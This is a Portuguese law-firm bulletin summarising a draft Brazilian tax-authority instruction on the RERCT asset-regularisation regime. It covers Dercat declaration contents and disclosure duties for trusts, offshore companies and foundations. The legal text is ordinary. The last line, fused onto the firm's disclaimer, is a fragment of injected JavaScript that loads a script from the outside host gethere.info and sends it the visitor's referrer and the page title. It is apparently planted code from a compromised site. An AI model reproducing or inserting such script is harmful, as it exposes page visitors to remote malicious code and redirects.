Foi disponibilizada na última terça-feira pela Receita Federal do Brasil, para consulta pública, uma minuta da Instrução Normativa que regulamentará o Regime Especial de Regularização Cambial e Tributária (“RERCT”) instituído pela Lei nº 13.254/2016.
Em síntese, a proposta de Instrução Normativa disponibilizada pela Receita reitera as definições e condições previstos na Lei, já tratados por nós em Boletins anteriores, e define a forma de envio e informações que deverão constar na Declaração de Regularização Cambial e Tributária (Dercat) para fins de adesão ao RERCT.
De forma geral, deverá constar na Dercat:
(i) a identificação do declarante;
(ii) a identificação dos recursos, bens ou direitos a serem regularizados, bem como a identificação da titularidade e origem deles;
(iii) o valor, em moeda estrangeira e em Real, dos recursos, bens ou direitos declarados;
(iv) declaração de que os bens ou direitos de qualquer natureza declarados têm origem em atividade econômica lícita e de que as demais informações por ele fornecidas são verídicas;
(v) declaração de que não foi condenado em ação penal, ainda que não transitada em julgado, cujo objeto seja um dos crimes listados no § 1º do art. 5º da Lei nº 13.254/2016 (crimes contra ordem tributária cometidos por particulares ou agentes públicos; sonegação fiscal e de contribuição previdenciária; falsificação de documento público ou particular; falsidade ideológica; uso de documento falso, operação de câmbio não autorizada e lavagem ou ocultação de bens);
(vi) declaração de que era residente ou domiciliado no País em 31 de dezembro de 2014;
(vii) declaração de que, na data de publicação da Lei nº 13.254, de 2016, não era detentor de cargos, empregos ou funções públicas de direção ou eletiva e de que não possuía cônjuge ou parente consanguíneo ou afins até o 2º (segundo) grau ou por adoção nessas condições;
(viii) na hipótese de inexistência de saldo dos recursos ou de titularidade de propriedade de bens ou direitos em 31 de dezembro de 2014, a descrição das condutas praticadas pelo declarante que se enquadrem nos crimes acima descritos e o valor dos respectivos recursos, bens ou direitos de qualquer natureza não declarados, remetidos ou mantidos no exterior ou repatriados (os bens e direitos de propriedade de interposta pessoa deverão ser informados na Dercat do titular e deverão conter a identificação daquela interposta pessoa).
Os seguintes pontos nos chamaram especial atenção na proposta de regulamentação:
(i) a própria Receita encaminhará uma cópia da Declaração de Regularização Cambial e Tributária (Dercat) ao Banco Central;
(ii) ao declarante poderá ser determinada a disponibilização à Receita das seguintes informações:
I – no caso de trustes:
- a) a identificação do instituidor (settlor), dos beneficiários, do administrador (trustee) e do fiscalizador (protector);
- b) os documentos intitulados ‘trust deed’ e ‘letter of wishes’;
- c) a relação de bens e ativos (emitidos pelo trustee e averbados pelo protector); e
- d) a documentação contábil-financeira (emitida pelo trustee e averbada pelo protector);
II – no caso de “off shore companies”(International Business Company – IBC, Private Limited Company, Limited Liability Company – LLCs e entidades assemelhadas:
- a) a identificação do nome e razão social, número de identificação fiscal (NIF) e local de constituição;
- b) os contratos sociais ou outros documentos de constituição, de identificação de todos os sócios e seus poderes e de identificação dos diretores e sua relação com os sócios;
- c) a identificação da condição de holding, se for o caso;
- d) se houver entre os sócios outras “off shore”, a identificação de toda a cadeia de entidades interpostas até alcançar os beneficiários finais que identifiquem a origem do investimento; e
- e) a documentação de demonstrações financeiras, de determinação de todos os investimentos diretos e indiretos realizados e de identificação da origem dos recursos nela investidos; e
III – no caso de fundações privadas, a identificação do instituidor, de seus conselheiros, do controlador (protetor) e dos beneficiários.
(iii) No caso de regularização de ativos financeiros não repatriados de valor superior a USD 100 mil, deverá ser observado o seguinte:
I – o declarante deverá solicitar e autorizar a instituição financeira no exterior a enviar informação sobre o saldo desses ativos em 31 de dezembro de 2014 para instituição financeira autorizada a funcionar no País, via Society for Worldwide Interbank Financial Telecommunication (SWIFT);
II – a instituição financeira autorizada a funcionar no País prestará informação à RFB em módulo específico da e-Financeira, instituída pela Instrução Normativa RFB nº 1.571, de 2 de julho de 2015.
Informaremos assim que for editada a regulamentação pela Receita Federal do Brasil.
Este boletim foi redigido para fins informativos apenas e não deve ser considerado uma opinião legal sobre qualquer operação específica. A reprodução do conteúdo acima depende de prévia autorização de Leoni Siqueira Advogados.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;